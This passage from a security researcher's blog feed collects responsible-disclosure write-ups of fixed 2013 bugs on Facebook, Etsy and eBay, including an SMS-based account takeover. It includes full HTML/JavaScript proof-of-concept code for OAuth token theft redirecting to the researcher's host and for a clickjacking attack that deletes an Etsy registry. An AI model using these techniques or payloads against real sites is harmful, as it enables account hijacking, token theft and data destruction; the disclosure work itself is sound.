it’s escaped client-side. The end-point incorrectly sends a content-type header of <code class="highlighter-rouge">text/html</code>, when the response is actually JSON.</p> <p>When browsed to directly (it doesn’t need any CSRF tokens to be viewed, despite the <code class="highlighter-rouge">hash</code> param), we see our script executed.</p> <figure style="text-align: center;"> <a href="/images/fbstudio/fb-studio-3-1.png" class="image-popup"> <img src="/images/fbstudio/fb-studio-3-1.png" /> </a> </figure> <p>The cool thing about this bug is that whilst it’s not persistent (the payload is fetched when the page is visited), the code is not present in the request body, therefore avoiding Chrome’s XSS Auditor and IE’s XSS Filter.</p> <p>Had the content type been set to <code class="highlighter-rouge">application/json</code>, the code would have not run (until you start to consider content sniffing…).</p> <h3 id="fix">Fix</h3> <p>The content type is now set correctly.</p> <h3 id="timeline">Timeline</h3> <ul> <li>15th August 2013 - Issue Reported</li> <li>21st August 2013 - Acknowledgment of Report</li> <li>21st August 2013 - Issue Fixed</li> </ul> <p><a href="https://whitton.io/articles/content-types-and-xss-facebook-studio/">Content Types and XSS: Facebook Studio</a> was originally published by Jack at <a href="https://whitton.io">Jack</a> on October 21, 2013.</p> <![CDATA[Removing Covers Images on Friendship Pages, on Facebook]]> https://whitton.io/articles/removing-covers-images-on-friendship-pages-on-facebook 2013-09-25T00:00:00-00:00 2013-09-25T00:00:00+01:00 Jack https://whitton.io [email protected] <p>This is a quick post about a simple bug I found on Friendship Pages on Facebook. (Note: Not nearly as cool as a <a href="http://blog.fin1te.net/post/53949849983/hijacking-a-facebook-account-with-sms">full account takeover</a>, however!)</p> <p><a href="https://www.facebook.com/help/220629401299124">Friendship Pages</a> show you how two users on Facebook are connected, with posts and photos they’re both tagged in, events they’ve both attended and common friends. On these pages, you’re given the option to upload a cover photo (like you would on your profile, or an event).</p> <figure style="text-align: center;"> <a href="/images/facebookcover/f-c-1-1.png" class="image-popup"> <img src="/images/facebookcover/f-c-1-1.png" style="height:400px;" /> </a> </figure> <h3 id="removing-a-cover">Removing A Cover</h3> <p>The cover photo on someones friendship page, we can remove from <em>any</em> account.</p> <p>First, we need the <code class="highlighter-rouge">friendship_id</code>, which can be obtained with an AJAX call to <code class="highlighter-rouge">/ajax/timeline/friendship_cover/selector</code>, where <code class="highlighter-rouge">profile_id</code> is one user and <code class="highlighter-rouge">friend_id</code> is another.</p> <figure style="text-align: center;"> <a href="/images/facebookcover/f-c-2-1.png" class="image-popup"> <img src="/images/facebookcover/f-c-2-1.png" style="height:400px;" /> </a> </figure> <p>Using this <code class="highlighter-rouge">friendship_id</code> we make an AJAX call to <code class="highlighter-rouge">/ajax/timeline/friendship_cover/remove</code>, placing the value into the <code class="highlighter-rouge">profile_id</code> parameter.</p> <figure style="text-align: center;"> <a href="/images/facebookcover/f-c-4-1.png" class="image-popup"> <img src="/images/facebookcover/f-c-4-1.png" style="height:400px;" /> </a> </figure> <p>Refresh the page, and it’s disappeared.</p> <figure style="text-align: center;"> <a href="/images/facebookcover/f-c-5-1.png" class="image-popup"> <img src="/images/facebookcover/f-c-5-1.png" style="height:400px;" /> </a> </figure> <h3 id="fix">Fix</h3> <p>Now, you can only remove your own cover.</p> <h3 id="timeline">Timeline</h3> <ul> <li>29th August 2013 - Reported</li> <li>2nd September 2013 - Acknowledgment of Report</li> <li>2nd September 2013 - Issue Fixed</li> </ul> <p><a href="https://whitton.io/articles/removing-covers-images-on-friendship-pages-on-facebook/">Removing Covers Images on Friendship Pages, on Facebook</a> was originally published by Jack at <a href="https://whitton.io">Jack</a> on September 25, 2013.</p> <![CDATA[Hijacking a Facebook Account with SMS]]> https://whitton.io/articles/hijacking-a-facebook-account-with-sms 2013-06-26T00:00:00-00:00 2013-06-26T00:00:00+01:00 Jack https://whitton.io [email protected] <p>This post will demonstrate a simple bug which will lead to a full takeover of any Facebook account, with <strong>no user interaction</strong>.</p> <p>Facebook gives you the option of linking your mobile number with your account. This allows you to receive updates via SMS, and also means you can login using the number rather than your email address.</p> <p>The flaw lies in the <code class="highlighter-rouge">/ajax/settings/mobile/confirm_phone.php</code> end-point. This takes various parameters, but the two main are <code class="highlighter-rouge">code</code>, which is the verification code received via your mobile, and <code class="highlighter-rouge">profile_id</code>, which is the account to link the number to.</p> <p>The thing is, <code class="highlighter-rouge">profile_id</code> is set to your account (obviously), but changing it to your target’s doesn’t trigger an error.</p> <p>To exploit this bug, we first send the letter <code class="highlighter-rouge">F</code> to <code class="highlighter-rouge">32665</code>, which is Facebook’s SMS shortcode in the UK. We receive an 8 character verification code back.</p> <figure style="text-align: center;"> <a href="/images/facebooksms/facebook-sms-1.jpg" class="image-popup"> <img src="/images/facebooksms/facebook-sms-1.jpg" style="height:400px;" /> </a> </figure> <p>We enter this code into the activation box (located <a href="https://www.facebook.com/settings?tab=mobile">here</a>), and modify the <code class="highlighter-rouge">profile_id</code> element inside the <code class="highlighter-rouge">fbMobileConfirmationForm</code> form.</p> <figure> <a href="/images/facebooksms/facebook-sms-2-1.png" class="image-popup"> <img src="/images/facebooksms/facebook-sms-2-1.png" /> </a> </figure> <p>Submitting the request returns a 200. You can see the value of <code class="highlighter-rouge">__user</code> (which is sent with all AJAX requests) is different from the <code class="highlighter-rouge">profile_id</code> we modified.</p> <figure> <a href="/images/facebooksms/facebook-sms-3-1.png" class="image-popup"> <img src="/images/facebooksms/facebook-sms-3-1.png" /> </a> </figure> <p>Note: You may have to reauth after submitting the request, but the password required is yours, not the targets.</p> <p>An SMS is then received with confirmation.</p> <figure style="text-align: center;"> <a href="/images/facebooksms/facebook-sms-4.jpg" class="image-popup"> <img src="/images/facebooksms/facebook-sms-4.jpg" style="height:400px;" /> </a> </figure> <p>Now we can initate a password reset request against the user and get the code via SMS.</p> <figure> <a href="/images/facebooksms/facebook-sms-5-1.png" class="image-popup"> <img src="/images/facebooksms/facebook-sms-5-1.png" /> </a> </figure> <p>Another SMS is received with the reset code.</p> <figure style="text-align: center;"> <a href="/images/facebooksms/facebook-sms-6-1.jpg" class="image-popup"> <img src="/images/facebooksms/facebook-sms-6-1.jpg" style="height:400px;" /> </a> </figure> <p>We enter this code into the form, choose a new password, and we’re done. The account is ours.</p> <figure> <a href="/images/facebooksms/facebook-sms-7.png" class="image-popup"> <img src="/images/facebooksms/facebook-sms-7.png" /> </a> </figure> <h3 id="fix">Fix</h3> <p>Facebook responsed by verifying that you have permission to modify the phone number on the profile denoted by <code class="highlighter-rouge">profile_id</code>.</p> <h3 id="timeline">Timeline</h3> <ul> <li>23rd May 2013 - Reported</li> <li>28th May 2013 - Acknowledgment of Report</li> <li>28th May 2013 - Issue Fixed</li> </ul> <h3 id="note">Note</h3> <p>The bounty assigned to this bug was $20,000, clearly demonstrating the severity of the issue.</p> <p><a href="https://whitton.io/articles/hijacking-a-facebook-account-with-sms/">Hijacking a Facebook Account with SMS</a> was originally published by Jack at <a href="https://whitton.io">Jack</a> on June 26, 2013.</p> <![CDATA[Overwriting Banner Images on Etsy]]> https://whitton.io/articles/overwriting-banner-images-on-etsy 2013-05-21T00:00:00-00:00 2013-05-21T00:00:00+01:00 Jack https://whitton.io [email protected] <p>When you create a shop on <a href="http://www.etsy.com">Etsy</a>, you can upload an image to be used as a banner.</p> <p>The upload form in the administration section stops you changing the shop to one you don’t control, as expected.</p> <figure> <a href="/images/etsybanner/etsy-banner-1.png" class="image-popup"> <img src="/images/etsybanner/etsy-banner-1.png" /> </a> </figure> <p>There is, however, an AJAX end-point which can also be used to upload these images. This <em>doesn’t</em> check you’re the owner on upload.</p> <figure> <a href="/images/etsybanner/etsy-banner-2-1.png" class="image-popup"> <img src="/images/etsybanner/etsy-banner-2-1.png" /> </a> </figure> <p>We can easily upload any image we want onto any shop we want. This could be used to damage a business’s reputation, or like what happened on the <a href="http://allthingsvice.com/2013/01/23/whos-got-it-in-for-the-silk-road/">Silk Road</a>, upload a banner which prompts any prospective customers to send any orders and payments to an email address we control.</p> <figure> <a href="/images/etsybanner/etsy-banner-3.png" class="image-popup"> <img src="/images/etsybanner/etsy-banner-3.png" /> </a> </figure> <h3 id="fix">Fix</h3> <p>Etsy fixed this in a simple way - they now check you’re the owner on upload.</p> <figure> <a href="/images/etsybanner/etsy-banner-4.png" class="image-popup"> <img src="/images/etsybanner/etsy-banner-4.png" /> </a> </figure> <p><a href="https://whitton.io/articles/overwriting-banner-images-on-etsy/">Overwriting Banner Images on Etsy</a> was originally published by Jack at <a href="https://whitton.io">Jack</a> on May 21, 2013.</p> <![CDATA[Stealing Facebook Access Tokens with a Double Submit]]> https://whitton.io/articles/stealing-facebook-access-tokens-with-a-double-submit 2013-04-13T00:00:00-00:00 2013-04-13T00:00:00+01:00 Jack https://whitton.io [email protected] <p>After the <a href="http://www.breaksec.com/?p=5734">wave</a> <a href="http://www.breaksec.com/?p=5753">of</a> <a href="http://homakov.blogspot.co.uk/2013/02/hacking-facebook-with-oauth2-and-chrome.html">OAuth</a> <a href="http://homakov.blogspot.co.uk/2013/03/redirecturi-is-achilles-heel-of-oauth.html">bugs</a> reported recently, It’s my turn to present a just as serious (but slightly less complicated) issue.</p> <p>On the Facebook App Center, we have links to numerous different apps. Some have a “Go to App” button, for apps embedded within Facebook, and others have a “Visit Website” button, for sites which connect with Facebook. The “Visit Website” button submits a POST request to <code class="highlighter-rouge">ui_server.php</code>, which generates an access token and redirects you to the site.</p> <figure> <a href="/images/facebookauth/facebook-auth-1-1.png" class="image-popup"> <img src="/images/facebookauth/facebook-auth-1-1.png" /> </a> </figure> <p>The form is interesting in that it doesn’t present a permissions dialog (like you would have when requesting permissions via <code class="highlighter-rouge">/dialog/oauth</code>). This is presumably because the request has to be initiated by the user (due to the presence of a CSRF token), and because the permissions required are listed underneath the button.</p> <p>During testing, I noticed that omitting the CSRF token (<code class="highlighter-rouge">fb_dtsg</code>), and <code class="highlighter-rouge">orig/new_perms</code> generates a 500 error and doesn’t redirect you. This is expected behaviour.</p> <p>However, in the background, an access token <em>is</em> generated. Refreshing the app’s page in the App Center and hovering over “Visit Website” shows that it is now a link to the site, with your access token included.</p> <figure> <a href="/images/facebookauth/facebook-auth-2.png" class="image-popup"> <img src="/images/facebookauth/facebook-auth-2.png" /> </a> </figure> <p>Using this bug, we can double-submit the permissions form to gain a valid access token. The first request is discarded - the token is generated in the background. The second request is sent after a specific interval (in my PoC I’ve chosen five seconds to be safe, but a wait of one second would suffice), which picks up the already generated token and redirects the user.</p> <figure> <a href="/images/facebookauth/facebook-auth-3-1.png" class="image-popup"> <img src="/images/facebookauth/facebook-auth-3-1.png" /> </a> </figure> <p>The awesome thing about this bug is that we don’t need to piggy-back off an already existing app’s permissions like in some of the other bugs, we can specify whatever ones we want (including any of the <a href="https://developers.facebook.com/docs/reference/login/extended-permissions/">extended_permissions</a>).</p> <p>When the user is sent to the final page, a snippet of their FB inbox is displayed, sweet! In a real-world example, the inbox would obviously not be presented, but logged.</p> <figure> <a href="/images/facebookauth/facebook-auth-4-1.png" class="image-popup"> <img src="/images/facebookauth/facebook-auth-4-1.png" /> </a> </figure> <h3 id="full-poc">Full PoC</h3> <figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="c">&lt;!-- index.html --&gt;</span> <span class="nt">&lt;html&gt;</span> <span class="nt">&lt;head&gt;&lt;/head&gt;</span> <span class="nt">&lt;body&gt;</span> <span class="nt">&lt;h3&gt;</span>Facebook Auth PoC - Wait 5 Seconds<span class="nt">&lt;/h3&gt;</span> <span class="c">&lt;!-- Load the form first --&gt;</span> <span class="nt">&lt;div</span> <span class="na">id=</span><span class="s">"iframe-wrap"</span><span class="nt">&gt;</span> <span class="nt">&lt;iframe</span> <span class="na">src=</span><span class="s">"frame.html"</span> <span class="na">style=</span><span class="s">"visibility:hidden;"</span><span class="nt">&gt;&lt;/iframe&gt;</span> <span class="nt">&lt;/div&gt;</span> <span class="c">&lt;!-- Load the second after 5 seconds --&gt;</span> <span class="nt">&lt;script&gt;</span> <span class="nx">setTimeout</span><span class="p">(</span><span class="kd">function</span><span class="p">(){</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">iframe-wrap</span><span class="dl">'</span><span class="p">).</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">&lt;iframe src="frame.html" style="width:800px;height:500px;"&gt;&lt;/iframe&gt;</span><span class="dl">'</span><span class="p">;</span> <span class="p">},</span> <span class="mi">5000</span><span class="p">);</span> <span class="nt">&lt;/script&gt;</span> <span class="nt">&lt;/body&gt;</span> <span class="nt">&lt;/html&gt;</span> <span class="c">&lt;!-- frame.html --&gt;</span> <span class="nt">&lt;form</span> <span class="na">action=</span><span class="s">"https://www.facebook.com/connect/uiserver.php"</span> <span class="na">method=</span><span class="s">"POST"</span> <span class="na">id=</span><span class="s">"fb"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"perms"</span> <span class="na">value=</span><span class="s">"email,user_likes,publish_actions,read_mailbox"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"dubstep"</span> <span class="na">value=</span><span class="s">"1"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"new_user_session"</span> <span class="na">value=</span><span class="s">"1"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"app_id"</span> <span class="na">value=</span><span class="s">"359849714135684"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"redirect_uri"</span> <span class="na">value=</span><span class="s">"https://fin1te.net/fb-poc/fb.php"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"response_type"</span> <span class="na">value=</span><span class="s">"code"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"from_post"</span> <span class="na">value=</span><span class="s">"1"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"__uiserv_method"</span> <span class="na">value=</span><span class="s">"permissions.request"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"grant_clicked"</span> <span class="na">value=</span><span class="s">"Visit Website"</span><span class="nt">&gt;</span> <span class="nt">&lt;/form&gt;</span> <span class="nt">&lt;script&gt;</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">fb</span><span class="dl">'</span><span class="p">).</span><span class="nx">submit</span><span class="p">();</span><span class="nt">&lt;/script&gt;</span></code></pre></figure> <h4 id="fix">Fix</h4> <p>Facebook has fixed this issue by redirecting any calls to <code class="highlighter-rouge">uiserver.php</code> without the correct tokens to <code class="highlighter-rouge">invalid_request.php</code></p> <p><a href="https://whitton.io/articles/stealing-facebook-access-tokens-with-a-double-submit/">Stealing Facebook Access Tokens with a Double Submit</a> was originally published by Jack at <a href="https://whitton.io">Jack</a> on April 13, 2013.</p> <![CDATA[Framing, Part 1: Click-Jacking Etsy]]> https://whitton.io/archive/framing-part-1-click-jacking-etsy 2013-02-05T00:00:00-00:00 2013-02-05T00:00:00+00:00 Jack https://whitton.io [email protected] <p>Back in October, I found a couple of issues in <a href="http://www.etsy.com">Etsy</a>, which when combined could be used in a click-jacking attack.</p> <h4 id="incorrect-error-handling">Incorrect Error Handling</h4> <p>Pretty much all forms on Etsy have a token attached to prevent CSRF attacks. Failing to provide, or providing an incorrect token will result in the form not being processed, and an error page will be displayed.</p> <figure> <a href="/images/etsyframe/etsy-frame-1.png" class="image-popup"> <img src="/images/etsyframe/etsy-frame-1.png" /> </a> </figure> <p>If we submit a POST to the search page, the request is (correctly) not processed. But, rather than showing the generic error page, we get the homepage instead.</p> <p>This isn’t that interesting, nor very useful. However, this combined with…</p> <h4 id="bypassing-x-frame-options-with-a-referrer">Bypassing X-Frame-Options with a Referrer</h4> <p>The value of the X-Frame-Options header across Etsy is <code class="highlighter-rouge">SAMEORIGIN</code>, meaning that only pages from the same domain will load in a frame, else a blank screen is displayed, thus thwarting click-jacking attacks. The value of the Referer header is checked, and if the domain is etsy.com, the response back is <code class="highlighter-rouge">ALLOW</code>, rather than <code class="highlighter-rouge">SAMEORIGIN</code>. Luckily, in the previous issue, when the homepage is returned, no X-Frame-Options header is sent!</p> <figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="c">&lt;!-- poc.html --&gt;</span> <span class="nt">&lt;iframe</span> <span class="na">src=</span><span class="s">"poc-iframe.html"</span><span class="nt">&gt;&lt;/iframe&gt;</span> <span class="c">&lt;!-- poc-iframe.html --&gt;</span> <span class="nt">&lt;form</span> <span class="na">id=</span><span class="s">"etsy"</span> <span class="na">action=</span><span class="s">"http://www.etsy.com/search.php"</span> <span class="na">method=</span><span class="s">"post"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"search_query"</span> <span class="na">value=</span><span class="s">""</span><span class="nt">&gt;</span> <span class="nt">&lt;/form&gt;</span> <span class="nt">&lt;script&gt;</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">etsy</span><span class="dl">'</span><span class="p">).</span><span class="nx">submit</span><span class="p">();</span><span class="nt">&lt;/script&gt;</span></code></pre></figure> <p>So now that we can successfully frame the home-page, all we need to do is get a user to click links on the framed page, and we have a way of framing any page on the site.</p> <p>Of course, this requires a user to click multiple times (since there isn’t any sensitive actions that can be performed with one click on the homepage). The best way is to turn it into some sort-of game (my creativity is lacking, hence the simplicity).</p> <figure> <a href="/images/etsyframe/etsy-frame-2-1.png" class="image-popup"> <img src="/images/etsyframe/etsy-frame-2-1.png" /> </a> </figure> <p>We use setTimeout to change the position of the iframe after a x seconds (to give the page enough time to load), and entice the user to click the stopwatch (which contains each link underneath).</p> <p>We use the <code class="highlighter-rouge">pointer-events: none;</code> CSS value to pass the click through the image and to the link.</p> <p>The four clicks do the following:</p> <ul> <li>Navigate to <a href="http://www.etsy.com/registry">Registry</a></li> <li>Edit Registry</li> <li>Delete</li> <li>Confirm Delete</li> </ul> <p>The user has now successfully deleted their wedding registry! Ouch.</p> <h4 id="full-poc">Full PoC</h4> <figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="cp">&lt;!DOCTYPE html&gt;</span> <span class="nt">&lt;html&gt;</span> <span class="nt">&lt;head&gt;</span> <span class="nt">&lt;title&gt;</span>Etsy Clickjacking - POC<span class="nt">&lt;/title&gt;</span> <span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"https://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.js"</span><span class="nt">&gt;&lt;/script&gt;</span> <span class="nt">&lt;link</span> <span class="na">href=</span><span class="s">"http://twitter.github.com/bootstrap/assets/css/bootstrap.css"</span> <span class="na">rel=</span><span class="s">"stylesheet"</span><span class="nt">&gt;</span> <span class="nt">&lt;style&gt;</span> <span class="nf">#iframe-wrap</span> <span class="p">{</span> <span class="nl">height</span><span class="p">:</span> <span class="m">15px</span><span class="p">;</span> <span class="nl">overflow</span><span class="p">:</span> <span class="nb">hidden</span><span class="p">;</span> <span class="nl">position</span><span class="p">:</span> <span class="nb">relative</span><span class="p">;</span> <span class="nl">width</span><span class="p">:</span> <span class="m">15px</span><span class="p">;</span> <span class="p">}</span> <span class="nf">#iframe-wrap</span> <span class="nt">img</span> <span class="p">{</span> <span class="nl">background</span><span class="p">:</span> <span class="m">#fff</span><span class="p">;</span> <span class="nl">cursor</span><span class="p">:</span> <span class="nb">pointer</span><span class="p">;</span> <span class="nl">height</span><span class="p">:</span> <span class="m">15px</span><span class="p">;</span> <span class="nl">pointer-events</span><span class="p">:</span> <span class="nb">none</span><span class="p">;</span> <span class="nl">position</span><span class="p">:</span> <span class="nb">absolute</span><span class="p">;</span> <span class="nl">width</span><span class="p">:</span> <span class="m">15px</span><span class="p">;</span> <span class="nl">z-index</span><span class="p">:</span> <span class="m">2</span><span class="p">;</span> <span class="p">}</span> <span class="nt">iframe</span> <span class="p">{</span> <span class="nl">border</span><span class="p">:</span> <span class="nb">none</span><span class="p">;</span> <span class="nl">height</span><span class="p">:</span> <span class="m">1600px</span><span class="p">;</span> <span class="nl">position</span><span class="p">:</span> <span class="nb">absolute</span><span class="p">;</span> <span class="nl">width</span><span class="p">:</span> <span class="m">980px</span><span class="p">;</span> <span class="nl">z-index</span><span class="p">:</span> <span class="m">1</span><span class="p">;</span> <span class="p">}</span> <span class="c">/* State One - Registry Link */</span> <span class="nt">iframe</span><span class="nc">.state-1</span> <span class="p">{</span> <span class="nl">left</span><span class="p">:</span> <span class="m">-75px</span><span class="p">;</span> <span class="nl">top</span><span class="p">:</span> <span class="m">-11px</span><span class="p">;</span> <span class="p">}</span> <span class="c">/* State Two - Edit Link */</span> <span class="nt">iframe</span><span class="nc">.state-2</span> <span class="p">{</span> <span class="nl">left</span><span class="p">:</span> <span class="m">-953px</span><span class="p">;</span> <span class="nl">top</span><span class="p">:</span> <span class="m">-270px</span><span class="p">;</span> <span class="p">}</span> <span class="c">/* State Three - Delete Link */</span> <span class="nt">iframe</span><span class="nc">.state-3</span> <span class="p">{</span> <span class="nl">left</span><span class="p">:</span> <span class="m">-520px</span><span class="p">;</span> <span class="nl">top</span><span class="p">:</span> <span class="m">-700px</span><span class="p">;</span> <span class="p">}</span> <span class="c">/* State Four - Confirmation Link */</span> <span class="nt">iframe</span><span class="nc">.state-4</span> <span class="p">{</span> <span class="nl">left</span><span class="p">:</span> <span class="m">-365px</span><span class="p">;</span> <span class="nl">top</span><span class="p">:</span> <span class="m">-755px</span><span class="p">;</span> <span class="p">}</span> <span class="nt">&lt;/style&gt;</span> <span class="nt">&lt;/head&gt;</span> <span class="nt">&lt;body&gt;</span> <span class="nt">&lt;h3&gt;</span>Etsy Clickjacking - POC<span class="nt">&lt;/h3&gt;</span> <span class="nt">&lt;h4&gt;</span>Click the stopwatch when the time runs out...<span class="nt">&lt;/h4&gt;</span> <span class="nt">&lt;h4&gt;</span>Time Remaining: <span class="nt">&lt;span</span> <span class="na">id=</span><span class="s">"time"</span><span class="nt">&gt;</span>5 seconds<span class="nt">&lt;/span&gt;&lt;/h4&gt;</span> <span class="nt">&lt;div</span> <span class="na">id=</span><span class="s">"iframe-wrap"</span><span class="nt">&gt;</span> <span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABcAAAAbCAYAAACX6BTbAAAACXBIWXMAAAsTAAALEwEAmpwYAAABeklEQVRIib2V3XXCMAyFP3P6HjZghHQDGKEbpBtkBEZghIwAnYBuQDtBugHdQH3ABln1X/NQn6NzEuvqWrpKZCci1JZzLgKJiKsGAasW0NJVJXfOdUvJXYssS9dTUwbO9cDav36LyGcBOwJfIvKGiCQNGIAjIBk7AoOJmZR/SJFugblAam0GtgnycyrbVlJrgzrgCvQ14hkYgV7her+Xqi4csBERdIAF7nP9UAftE3GPRDzonMrAEAkgmcbr2LPysW3JOEeeqSA0OOrwXJAgS+79ugeTiLACdjzWieVLx945f5WTyEpXN2UwkbxBlhZysYEt5P86ctdJFLxmnquxFyp6Nn4tui+XoPmBWNNN7c9MEG8MxyGQW8dxAbkdzdFsmYwzK09Fjig2ADpuYzKaESWJfMV2Jl2BLmDud6i/yt4TXT/5/Q///sztD3wxuG9gJ/oKNNn0/O0Wus8k1KiNZDEHdIkvqGQHLUWR3Gg6el11P65+byz1RET4AYyC/W+xIwcgAAAAAElFTkSuQmCC"</span><span class="nt">&gt;</span> <span class="nt">&lt;iframe</span> <span class="na">class=</span><span class="s">"state-1"</span> <span class="na">src=</span><span class="s">"poc-iframe.html"</span><span class="nt">&gt;&lt;/iframe&gt;</span> <span class="nt">&lt;/div&gt;</span> <span class="nt">&lt;script&gt;</span> <span class="nx">$</span><span class="p">(</span><span class="kd">function</span><span class="p">(){</span> <span class="kd">var</span> <span class="nx">t</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span> <span class="kd">var</span> <span class="nx">r</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span> <span class="kd">var</span> <span class="nx">changeState</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">state</span><span class="p">)</span> <span class="p">{</span> <span class="nx">$</span><span class="p">(</span><span class="dl">'</span><span class="s1">#time</span><span class="dl">'</span><span class="p">).</span><span class="nx">html</span><span class="p">(</span><span class="nx">t</span> <span class="o">+</span> <span class="dl">'</span><span class="s1"> seconds</span><span class="dl">'</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="nx">t</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="nx">clearInterval</span><span class="p">(</span><span class="nx">i</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="nx">state</span> <span class="o">==</span> <span class="mi">4</span><span class="p">)</span> <span class="p">{</span> <span class="c1">//All over</span> <span class="nx">$</span><span class="p">(</span><span class="dl">'</span><span class="s1">#time</span><span class="dl">'</span><span class="p">).</span><span class="nx">html</span><span class="p">(</span><span class="dl">'</span><span class="s1">completed</span><span class="dl">'</span><span class="p">);</span> <span class="k">return</span><span class="p">;</span> <span class="p">}</span> <span class="nx">r</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span> <span class="nx">i</span> <span class="o">=</span> <span class="nx">setInterval</span><span class="p">(</span><span class="kd">function</span><span class="p">(){</span><span class="nx">resetIframe</span><span class="p">(</span><span class="nx">state</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)},</span> <span class="mi">1000</span><span class="p">);</span> <span class="p">}</span> <span class="nx">t</span><span class="o">--</span><span class="p">;</span> <span class="p">};</span> <span class="kd">var</span> <span class="nx">resetIframe</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">state</span><span class="p">)</span> <span class="p">{</span> <span class="nx">$</span><span class="p">(</span><span class="dl">'</span><span class="s1">#time</span><span class="dl">'</span><span class="p">).</span><span class="nx">html</span><span class="p">(</span><span class="dl">'</span><span class="s1">resetting...</span><span class="dl">'</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="nx">r</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="nx">$</span><span class="p">(</span><span class="dl">'</span><span class="s1">iframe</span><span class="dl">'</span><span class="p">).</span><span class="nx">removeClass</span><span class="p">(</span><span class="dl">'</span><span class="s1">state-</span><span class="dl">'</span> <span class="o">+</span> <span class="p">(</span><span class="nx">state</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)).</span><span class="nx">addClass</span><span class="p">(</span><span class="dl">'</span><span class="s1">state-</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">state</span><span class="p">);</span> <span class="nx">clearInterval</span><span class="p">(</span><span class="nx">i</span><span class="p">);</span> <span class="nx">t</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span> <span class="nx">i</span> <span class="o">=</span> <span class="nx">setInterval</span><span class="p">(</span><span class="kd">function</span><span class="p">(){</span><span class="nx">changeState</span><span class="p">(</span><span class="nx">state</span><span class="p">)},</span> <span class="mi">1000</span><span class="p">);</span> <span class="p">}</span> <span class="nx">r</span><span class="o">--</span><span class="p">;</span> <span class="p">};</span> <span class="c1">//Start countdown</span> <span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="nx">setInterval</span><span class="p">(</span><span class="kd">function</span><span class="p">(){</span><span class="nx">changeState</span><span class="p">(</span><span class="mi">1</span><span class="p">)},</span> <span class="mi">1000</span><span class="p">);</span> <span class="p">});</span> <span class="nt">&lt;/script&gt;</span> <span class="nt">&lt;/body&gt;</span> <span class="nt">&lt;/html&gt;</span></code></pre></figure> <p>Regrettably I didn’t take any screenshots when I reported this issue, and now that it’s fixed my only option is to photoshop them (which I won’t do). So you’ll have to take my word for some of it.</p> <h4 id="fix">Fix</h4> <p>The fix was done in two stages. Firstly, the CSRF token was removed from the search form, presumably because there aren’t any modifications being made to user data, so it’s pointless. Secondly, the referrer checking was removed and <code class="highlighter-rouge">SAMEORIGIN</code> was enforced across all pages.</p> <p>The second fix took longer to deploy, presumably due to the scale and amounts of testing required.</p> <p><a href="https://whitton.io/archive/framing-part-1-click-jacking-etsy/">Framing, Part 1: Click-Jacking Etsy</a> was originally published by Jack at <a href="https://whitton.io">Jack</a> on February 05, 2013.</p> <![CDATA[Persistent XSS on myworld.ebay.com]]> https://whitton.io/archive/persistent-xss-on-myworld-ebay-com 2013-01-27T00:00:00-00:00 2013-01-27T00:00:00+00:00 Jack https://whitton.io [email protected] <p>On eBay, the <a href="http://myworld.ebay.com/">My World</a> section allows users and businesses to construct a profile, with shipping information, returns policies, and also blocks of arbitrary text specified by the user.</p> <p>All of the input boxes have a note below saying that you can’t add HTML, so I was interested to see how it checks/prevents you from entering any.</p> <figure> <a href="/images/ebayxss/ebay-xss-0.png" class="image-popup"> <img src="/images/ebayxss/ebay-xss-0.png" /> </a> </figure> <p>I tried adding in some tags, &lt;a&gt;, &lt;span&gt;, &lt;script&gt;, however they’re all filtered out. In addition to this, you can’t use double quotes (so you can’t break out of attributes). However, it turns out they use a blacklist of HTML tags. I tried a deprecated tag, &lt;plaintext&gt;, and to my surprise it passed through fine.</p> 